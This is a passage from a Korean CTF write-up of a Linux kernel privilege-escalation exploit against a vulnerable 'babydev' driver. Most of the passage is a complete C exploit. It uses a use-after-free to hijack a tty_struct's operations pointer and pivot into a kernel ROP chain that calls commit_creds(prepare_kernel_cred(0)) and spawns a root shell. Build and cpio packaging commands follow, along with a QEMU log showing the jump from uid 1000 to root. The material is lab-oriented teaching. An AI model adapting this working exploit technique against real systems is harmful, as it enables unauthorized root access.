rop[11] = &shell;
rop[12] = rv.user_cs;
rop[13] = rv.user_rflags;
rop[14] = rv.user_rsp;
rop[15] = rv.user_ss;

rop payload는 위와 같습니다.

간단히 코드로 보면

1
2
commit_creds(prepare_kernel_cred(0));
execl("/bin/sh","sh",NULL);

위와 같습니다.

rop에 사용할 가젯들은 환경 설정에서 구한 vmlinux 파일을 통해 구할 수 있습니다.

kernel rop에 대해서는 별도의 글에서 구체적으로 다뤄보도록 하겠습니다.

exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

void* tty_operations[30] = {0};

size_t user_cs, user_ss, user_rflags, user_sp;

size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;

struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
}

void shell() {
execl("/bin/sh","sh",NULL);
}

int main() {
size_t rop[32] = {0};
size_t tty_struct[4] = {0};
char trig[8] = {0};

backup_rv();

rop[0] = 0xffffffff810d238d; // pop rdi; ret;
rop[1] = 0;
rop[2] = prepare_kernel_cred;
rop[3] = 0xffffffff810676e5; // pop rdx; pop rcx; ret
rop[4] = commit_creds;
rop[5] = 0;
rop[6] = 0xffffffff8180c4a2; // mov rdi, rax; call rdx;
rop[7] = 0;
rop[8] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[9] = 0;
rop[10] = 0xffffffff814e35ef; // iretq; ret;
rop[11] = &shell;
rop[12] = rv.user_cs;
rop[13] = rv.user_rflags;
rop[14] = rv.user_rsp;
rop[15] = rv.user_ss;

tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
tty_operations[1] = &rop;
tty_operations[2] = 0xffffffff8181bfc5; // mov rsp,rax; dec ebx; jmp ret
tty_operations[7] = 0xffffffff8181bfc5; // mov rsp,rax; dec ebx; jmp ret

int baby1 = open("/dev/babydev", O_RDWR);
int baby2 = open("/dev/babydev", O_RDWR);

ioctl(baby1, 65537, 736);
close(baby1);

int ptmx = open("/dev/ptmx", O_RDWR|O_NOCTTY);

read(baby2, tty_struct, 32);
tty_struct[3] = &tty_operations;

printf("&rop : %p\n", &rop);
printf("&tty_operations : %p\n", &tty_operations);

write(baby2, tty_struct, 32);
write(ptmx, trig, 8);

return 0;
}
1
gcc -masm=intel  -static -o exploit exploit.c

exploit을 다 작성했으면 위의 옵션으로 컴파일해서, 환경 설정 과정에서 rootfs.cpio 파일 시스템의 압축을 풀었던 디렉토리에 옮긴 뒤에

1
find . | cpio -o --format=newc > rootfs.cpio

위 명령어로 압축하면 새로운 roofts.cpio 파일이 나오는데 이 rootfs.cpio 파일을 이용해서 qemu를 실행하시면 해당 exploit 파일이 qemu 내부로 들어간 것을 확인할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Boot took 0.93 seconds

/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ./exploit
[ 10.168566] device open
[ 10.170749] device open
[ 10.171988] alloc done
[ 10.173196] device release
&rop : 0x7ffdba0f7390
&tty_operations : 0x6bb340
[ 10.176799] tty driver ptm lacks a write_room method.
/ # id
uid=0(root) gid=0(root)
/ #


Reference